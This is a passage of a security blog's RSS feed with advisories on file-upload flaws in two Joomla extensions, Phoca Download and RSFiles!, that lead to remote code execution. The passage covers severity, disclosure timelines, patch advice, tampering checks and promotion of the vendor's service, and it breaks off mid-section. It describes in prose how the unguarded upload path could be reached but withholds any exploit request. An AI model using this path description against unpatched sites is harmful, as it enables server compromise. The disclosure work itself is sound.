&lt;h2&gt;File Uploads Are a Recurring Joomla Attack Surface&lt;/h2&gt;
&lt;p&gt;If you manage Joomla sites, treat every extension that accepts files as a piece of your attack surface that deserves regular attention. The exact weakness fixed here, an upload of a file with a dangerous type slipping past a check that should have stopped it, is &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;, and it shows up across the whole category rather than in one vendor&apos;s code.&lt;/p&gt;
&lt;p&gt;The recent run of Joomla disclosures makes the point. &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero-day&lt;/a&gt; were all variations on the same theme: an endpoint that took a file without a strict check on what was actually written. Phoca Download&apos;s version of it needed a login and a non-default feature, which makes it less exposed, but the underlying lesson is identical. A single allow-list check on the file that is actually written, applied on every path that writes one, is what stops this.&lt;/p&gt;
&lt;p&gt;Credit where it is due: Phoca did the thing that matters most, which is fix it the same day it was reported. Phoca Download has no CVE of its own on record before this, and its history of security reports is short, so this is not a pattern of problems. It is one bug, found by reading the code, and closed quickly.&lt;/p&gt;
&lt;h2&gt;Stay Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept files keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, across every extension on every site you look after.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this Phoca Download flaw lands, you see exactly which sites run it in seconds instead of logging into forty admin panels to find out. And because the monitoring watches for the behaviour rather than a signature, it catches new upload attacks of this shape before anyone has written a rule naming them.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-434, unrestricted upload of a file with a dangerous type. It is reachable over the network by a registered user, with no user interaction, on a site that has the non-default Phoca Download user-upload feature enabled, and it ends in remote code execution. The Joomla CNA scored it Critical (CVSS 4.0 9.0); the account and non-default-feature preconditions are what keep its real-world exposure below the unauthenticated 10.0 flaws.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;9.0&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;Critical score, gated by a login and a non-default feature&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;The Joomla CNA scored it 9.0 (Critical) because it ends in remote code execution, which compromises the whole server. It stops just short of the 10.0 the recent RSFiles, Page Builder CK and Balbooa Forms flaws hit, because it needs a registered account and needs the user-upload feature switched on rather than being reachable by anyone with no login. Those preconditions are why far fewer sites are exposed in practice.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;Registered account required&lt;/span&gt;
        &lt;span&gt;Needs the user-upload feature enabled&lt;/span&gt;
        &lt;span&gt;No user interaction&lt;/span&gt;
        &lt;span&gt;Remote code execution&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This flaw is tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57828&quot;&gt;CVE-2026-57828&lt;/a&gt;, assigned through the Joomla project&apos;s CNA and crediting Phil Taylor of mySites.guru as the reporter.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57828&quot;&gt;CVE-2026-57828&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;Phoca Download (&lt;code&gt;com_phocadownload&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;Phoca (Jan Pavelka)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Authenticated arbitrary file upload to remote code execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;9.0 (Critical), &lt;code&gt;AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Preconditions&lt;/td&gt;
&lt;td&gt;Registered account, user-upload feature enabled, category granting upload rights&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;Up to and including 6.1.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;6.1.3, released 10 July 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The disclosure ran on a single-day cycle from audit to fix:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;10 July 2026&lt;/td&gt;
&lt;td&gt;During a source-code audit of commonly installed Joomla extensions, we find that Phoca Download&apos;s member-upload path skips the file-type allow-list, and reproduce the full chain on a local Joomla install: a registered user with the user-upload feature enabled uploads a file that should be blocked and executes it.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 July 2026&lt;/td&gt;
&lt;td&gt;We disclose the flaw privately to Phoca. Jan Pavelka responds and ships Phoca Download 6.1.3, enforcing the allow-list on member uploads. A CVE is requested through the Joomla project&apos;s CNA. No proof of concept is published.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11 July 2026&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57828&quot;&gt;CVE-2026-57828&lt;/a&gt; is assigned for the flaw through the Joomla project&apos;s CNA, crediting Phil Taylor of mySites.guru.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This joined &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a dozen Joomla extension flaws we reported in a single month&lt;/a&gt; - the full roundup.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhocaCz/PhocaDownload/releases&quot;&gt;Phoca Download releases on GitHub&lt;/a&gt; - the authoritative source for the patched 6.1.3 package while it propagates to the download portal.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; - the canonical definition of this weakness class from MITRE.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt; - the developer&apos;s checklist for accepting uploads safely: allow-lists, signature checks, renaming, and storing outside the web root.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/file-upload&quot;&gt;PortSwigger Web Security Academy: File upload vulnerabilities&lt;/a&gt; - a neutral, in-depth reference on how these flaws work and how to prevent them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Securing_Joomla_extensions&quot;&gt;Securing Joomla extensions&lt;/a&gt; - Joomla&apos;s own guidance for developers, including safe file handling with &lt;code&gt;JFilterInput&lt;/code&gt; and &lt;code&gt;JFile::makeSafe()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>phoca</category><category>file-upload</category><enclosure url="https://mysites.guru/_astro/phoca-download-authenticated-file-upload-rce.CCUfbnMl.png" length="0" type="image/png"/></item><item><title>RSFiles! Fixes an Unauthenticated File Upload RCE</title><link>https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/</link><guid isPermaLink="true">https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/</guid><description>RSFiles! for Joomla (com_rsfiles) up to 1.17.11 had an unauthenticated file upload flaw that let anyone drop a PHP file and run code. Fixed in 1.17.12, update now.</description><pubDate>Fri, 10 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;RSFiles! is a widely used file-manager and download component for Joomla, installed as &lt;code&gt;com_rsfiles&lt;/code&gt; and used to store, organise and serve downloads on business and membership sites. Up to and including version 1.17.11, its frontend upload had a serious flaw: the task that received an upload could be reached by anyone, with no login and no CSRF token, and the code that actually wrote the file to disk performed no check on its type. An attacker could upload a &lt;code&gt;.php&lt;/code&gt; file into the public downloads folder and then run it, which is unauthenticated remote code execution, the worst outcome a web flaw can have.&lt;/p&gt;
&lt;p&gt;RSJoomla fixed it in version 1.17.12, released on 10 July 2026. If you run Joomla sites with RSFiles! on them, update every one to 1.17.12 or later right now. This is not a wait-for-a-maintenance-window update. Any site still on 1.17.11 or earlier is reachable by anyone on the internet, so treat it as urgent and check it for tampering the moment it is patched. This post explains what the flaw was, how it surfaced, what the fix does, and how to check whether any of your sites were touched, without publishing anything an attacker could copy.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Unauthenticated and remotely exploitable, update immediately&lt;/p&gt;
  &lt;p&gt;This flaw needs no account on the site and ends in code running on your server. Update every RSFiles! install to 1.17.12 without waiting for a maintenance window, then check each patched site for stray files in the downloads folder and for unexpected admin accounts, because a site on an old version could already have been hit.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;RSJoomla&apos;s Own Advisory&lt;/h2&gt;
&lt;p&gt;RSJoomla published a clear, unambiguous security advisory alongside the fix, which is exactly what you want a vendor to do. Their post, &lt;a href=&quot;https://www.rsjoomla.com/blog/view/644-unauthenticated-file-upload-fixed-in-rsfiles-version-11712-update-now.html&quot;&gt;Unauthenticated File Upload fixed in RSFiles! version 1.17.12 - update NOW!&lt;/a&gt;, spells out the risk in plain terms rather than hiding it under a routine &quot;Fixed&quot; line.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;From the RSJoomla advisory, posted by Octavian Cinciu, 10 July 2026&lt;/figcaption&gt;
  &lt;p&gt;Unauthenticated File Upload fixed in RSFiles! version 1.17.12 - update NOW!&lt;/p&gt;
  &lt;p&gt;A critical flaw in the RSFiles! upload function allows unauthenticated file uploads without enforcing any file extension.&lt;/p&gt;
  &lt;p&gt;What this means is that any attacker, without having an account on your website, can upload a .php file in your /downloads directory and execute it.&lt;/p&gt;
  &lt;p&gt;The bottom line is: update immediately to RSFiles! 1.17.12 which fixes this along some other not-reported, but less critical security issues.&lt;/p&gt;
&lt;/figure&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: The frontend upload in RSFiles! (&lt;code&gt;com_rsfiles&lt;/code&gt;) up to and including 1.17.11 (fixed in 1.17.12) could be reached by anyone with no authentication and no CSRF token, and the method that actually wrote the file performed no permission check and no file-type check. Because it trusted the caller&apos;s filename and the default downloads folder sits inside the web root with PHP execution on, a &lt;code&gt;.php&lt;/code&gt; upload landed in a public directory and could be executed, which is unauthenticated remote code execution (CWE-434). We found it during a source-code audit, reproduced the full chain on a local Joomla install, and disclosed it privately to RSJoomla, who responded the same day, shipped 1.17.12, and published an advisory telling site owners to update now. It is now tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57827&quot;&gt;CVE-2026-57827&lt;/a&gt;, crediting Phil Taylor as the reporter. No proof of concept has been made public. Update every RSFiles! install to 1.17.12 or later immediately, then check exposed sites for stray files and unexpected admin accounts. If you manage more than a handful of Joomla sites, mySites.guru lists every RSFiles! install in your account in seconds and pushes the update.&lt;/p&gt;
&lt;h2&gt;How This One Was Found&lt;/h2&gt;
&lt;p&gt;This one did not start with an abuse report or a hacked site. It started with reading the code.&lt;/p&gt;
&lt;p&gt;Part of what we do is audit the Joomla extensions that turn up most often across the sites we manage, on a local test install where we can prove a flaw safely and put the box back exactly as it was. RSFiles! came up in that rotation. Reading through the upload path, the security checks were in the wrong place: the method that decides whether you are allowed to upload, and what file types are permitted, is a separate pre-flight step from the method that actually writes the file, and only the first one holds the checks. The second one, the one that writes to disk, could be called directly.&lt;/p&gt;
&lt;p&gt;We reproduced the whole chain end to end on a local Joomla install: an anonymous request, no login at any step, uploaded a &lt;code&gt;.php&lt;/code&gt; file into the downloads folder, and requesting that file back ran it. From there it was a private email to RSJoomla. They replied the same day, shipped the fix in RSFiles! 1.17.12, and published an advisory the same day telling site owners to update immediately. The flaw is now tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57827&quot;&gt;CVE-2026-57827&lt;/a&gt;, crediting Phil Taylor of mySites.guru as the reporter.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is what responsible disclosure looks like&lt;/p&gt;
  &lt;p&gt;Found in a code audit, confirmed live on a local install, reported privately, and fixed by the vendor the same day, with a clear public advisory and no technical detail released. No exploit has been published. The reason to write about it is to get sites updated, not to show anyone how it worked.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What Was Actually Wrong in RSFiles!?&lt;/h2&gt;
&lt;p&gt;The flaw was an unauthenticated file upload where the security checks and the file write were in two different places, and only one of them was guarded. RSFiles! splits its upload across two separate frontend tasks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A pre-flight check that holds the permission gate (can this user upload at all) and the extension allow-list (the permitted file types, by default images, text and PDFs). This method decides yes or no. It writes nothing.&lt;/li&gt;
&lt;li&gt;The write method that actually receives the file and saves it to disk. This method performed no permission check and no extension check. It read the target filename straight from the request and handed the upload to Joomla&apos;s bundled upload handler.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That bundled handler accepts any file type unless the calling code tells it otherwise, and RSFiles! never told it otherwise, so its default was to accept everything, including &lt;code&gt;.php&lt;/code&gt;. Because the write task could be called directly, an attacker skipped the pre-flight check entirely and posted to the write task, which never consulted the allow-list or the permission gate. The frontend controller had no site-wide CSRF token and no access check, so the whole thing ran for an anonymous visitor.&lt;/p&gt;
&lt;p&gt;The final piece is where the file lands. RSFiles!&apos;s default downloads folder sits inside the web root, and the protective &lt;code&gt;.htaccess&lt;/code&gt; that would stop PHP running there is an opt-in admin setting that is off by default. So an anonymous upload of a &lt;code&gt;.php&lt;/code&gt; file went into a directory that serves and executes PHP, and requesting it in a browser ran it. No account on the site was needed at any point.&lt;/p&gt;
&lt;p&gt;The important detail for site owners is the &quot;no login&quot; part. Plenty of upload bugs need an editor or admin account first, which limits the blast radius to people you already trust. This one did not. Anyone on the internet who could reach the site could reach the upload.&lt;/p&gt;
&lt;p&gt;We are deliberately not publishing the exact request an attacker would send. The shape of the bug is enough to understand the risk and to check your own sites; the working details stay private.&lt;/p&gt;
&lt;h2&gt;Why an Upload Flaw Is as Bad as It Gets&lt;/h2&gt;
&lt;p&gt;An unauthenticated upload that lands executable code is the top of the severity scale, and it is worth being clear about why. Once an attacker can run PHP of their choosing on your server, they are no longer limited to your site. They can read your &lt;code&gt;configuration.php&lt;/code&gt; and the database credentials in it, create a hidden Joomla Super User, plant a backdoor that survives an extension update, pivot to other sites in the same hosting account, or add the server to a spam or malware network. The uploaded file is rarely the goal in itself; it is the foothold.&lt;/p&gt;
&lt;p&gt;This is the same lesson as the &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX and frontend endpoints blind spot&lt;/a&gt; we keep coming back to. An endpoint that Joomla will run for anonymous visitors is exposed to the entire internet, so every input it touches has to be treated as hostile. A single allow-list check on the file that is actually written, &quot;is this one of the types this folder is allowed to hold&quot;, would have stopped this outright.&lt;/p&gt;
&lt;h2&gt;What the RSFiles! 1.17.12 Fix Does&lt;/h2&gt;
&lt;p&gt;RSJoomla&apos;s fix closes the anonymous route into the upload. Version 1.17.12 requires a valid CSRF token on the upload task and runs the permission and allow-list checks before the file is written, so a visitor with no account is refused before anything reaches the disk. The &lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsfiles/changelog/rsfiles-changelog.html&quot;&gt;changelog&lt;/a&gt; records the same release also restoring the missing CSRF token on uploads and blocking file-preview access when permissions are disabled. Their advisory notes it fixes some other, less critical issues that were not separately reported.&lt;/p&gt;
&lt;p&gt;The practical takeaway is simple: 1.17.12 shuts the door that let an anonymous visitor upload and run code. Every RSFiles! install on 1.17.11 or earlier is on the wrong side of that door until it is updated. Because the flawed routine had been in the code for years, &quot;my site is old and stable&quot; is a reason to update sooner, not later.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Caught This Without a Signature&lt;/h2&gt;
&lt;p&gt;If you already run sites through mySites.guru, this is the part worth knowing. We did not need an RSFiles-specific rule to catch this class of activity. mySites.guru watches for the behaviour, an anonymous visitor uploading an executable file, rather than a fingerprint of one particular extension&apos;s bug.&lt;/p&gt;
&lt;p&gt;That generic detection is the same logic that catches &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/&quot;&gt;Phoca Download&lt;/a&gt; upload attempts. An attacker dropping a &lt;code&gt;.php&lt;/code&gt; file through a public endpoint looks the same regardless of which extension left the door open, so we can catch new bugs of this shape before anyone has written a rule naming them. Signature-based tools only see an attack once someone has described it. Behaviour-based detection sees it the first time it happens.&lt;/p&gt;
&lt;p&gt;If a hostile file does land, the &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;suspect content and hacked-file detection&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;backdoor scanning&lt;/a&gt; find it across every connected site, matching it against known malware hashes and thousands of code patterns. Anything flagged can be sent for &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; that explains in plain English what the file does.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every RSFiles! Site I Manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check the installed extensions list. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template, and framework on every Joomla and WordPress site in your account. You search for RSFiles! once and get back every connected site running it, the version each one is on, and whether an update is available. No logging into forty admin panels one at a time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every RSFiles! install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for RSFiles! across every connected Joomla site and filter for anything on 1.17.11 or earlier to find the installs that still need updating. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Bulk Updating RSFiles! Across Every Site&lt;/h2&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. Tick the sites on an old version, push the update to all of them from one screen. The same routine covers any Joomla extension, plugin, or core update, so the workflow you set up once works for the next security release too. You can also switch on &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt; so future RSFiles! releases land without you lifting a finger.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;For agencies managing dozens of Joomla sites&lt;/p&gt;
  &lt;p&gt;The patch is the easy bit. Knowing which client sites run RSFiles!, and getting the update onto all of them, is the work. &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;See how mySites.guru manages multiple Joomla sites&lt;/a&gt; from one screen.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;If a particular site cannot be updated right away, unpublishing the RSFiles! frontend and any menu items that expose its upload takes the vulnerable handler out of reach while you schedule a maintenance window. A web application firewall such as RSFirewall! or Admin Tools can also blunt the attack, but neither is a substitute for the update.&lt;/p&gt;
&lt;h2&gt;How Do I Check an RSFiles! Site for Tampering?&lt;/h2&gt;
&lt;p&gt;Updating closes the door. It does not tell you whether anyone walked through it first. Because the flaw allowed an anonymous visitor to drop a file and run it, a site that was on 1.17.11 or earlier could already have been touched, and you should check before you assume it is clean.&lt;/p&gt;
&lt;p&gt;Three checks, in order of value:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Look in the downloads folder. RSFiles! stores files under a downloads directory inside the web root. Anything there that is not a genuine download, and above all anything ending in &lt;code&gt;.php&lt;/code&gt;, is a red flag. On a single site you can run &lt;code&gt;find&lt;/code&gt; over that folder for &lt;code&gt;.php&lt;/code&gt; files via SSH.&lt;/li&gt;
&lt;li&gt;Check for rogue administrator accounts. Code execution is a fast route to a hidden Super User. In your Joomla Users list, sort by registration date and treat any administrator account you do not recognise as suspect.&lt;/li&gt;
&lt;li&gt;Hunt for modified and unfamiliar files. A foothold is a perfect moment to plant persistence elsewhere. Look for recently changed PHP files and for executable files sitting where uploads should not contain code.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru runs all three of these across every connected site at once. The suspect content tool and hacked-file detection surface the stray PHP files, the extension and user inventory sorts every account across every site by registration date, and &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt; tells you the moment a new file appears or an unfamiliar admin logs in, rather than at the next manual check.&lt;/p&gt;
&lt;p&gt;If any of that turns something up, the &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked recovery guide&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;how to fix a hacked site&lt;/a&gt; walkthrough cover the cleanup, and &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is the done-for-you option if you would rather hand it over.&lt;/p&gt;
&lt;h2&gt;File Extensions Are a Recurring Joomla Attack Surface&lt;/h2&gt;
&lt;p&gt;If you manage Joomla sites, treat every extension that accepts or serves files as a piece of your attack surface that deserves regular attention. The exact flaw fixed here, an unauthenticated upload of a file with a dangerous type, is &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;, and it shows up across the whole category rather than in one vendor&apos;s code.&lt;/p&gt;
&lt;p&gt;The recent run of Joomla disclosures makes the point. &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, and the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero-day&lt;/a&gt; were all the same shape: a frontend endpoint that took a file from an anonymous visitor without a strict check on what was actually written. When a category of extension keeps producing the same kind of bug, the sensible response is not to distrust one vendor, it is to monitor the whole category and to patch fast when a fix lands.&lt;/p&gt;
&lt;p&gt;It is worth keeping this in proportion for RSFiles! specifically. Its only previously recorded CVE is a directory traversal from 2007 (&lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2007-4504/&quot;&gt;CVE-2007-4504&lt;/a&gt;) in the 1.0.2 release, nearly two decades ago. This upload flaw is a different and far more serious class of bug, and the response to it, a same-day fix and a clear advisory, is the more relevant signal about how the extension is maintained today.&lt;/p&gt;
&lt;p&gt;Credit where it is due: RSJoomla did the two things that matter. They fixed it the same day it was reported, and they published a plain-spoken advisory that tells site owners to update now rather than burying it under a routine changelog line. That is not always how these go. We have written before about a vendor shipping a &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;security fix under a bland &quot;Security Update&quot; changelog&lt;/a&gt; with nothing to tell owners how urgent it was. RSJoomla did the opposite, and it is the right call.&lt;/p&gt;
&lt;h2&gt;Stay Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, across every extension on every site you look after.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this RSFiles! flaw lands, you see exactly which sites are exposed in seconds instead of logging into forty admin panels to find out. And because the monitoring watches for the behaviour rather than a signature, it catches new upload attacks of this shape before anyone has written a rule naming them.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-434, unrestricted upload of a file with a dangerous type, reached by an anonymous visitor over the network in a single request, with no privileges and no user interaction, and it ends in full remote code execution. That profile is the worst a web flaw can have.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;10.0&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;The maximum possible score&lt;/span&gt;
      &lt;/p&gt;
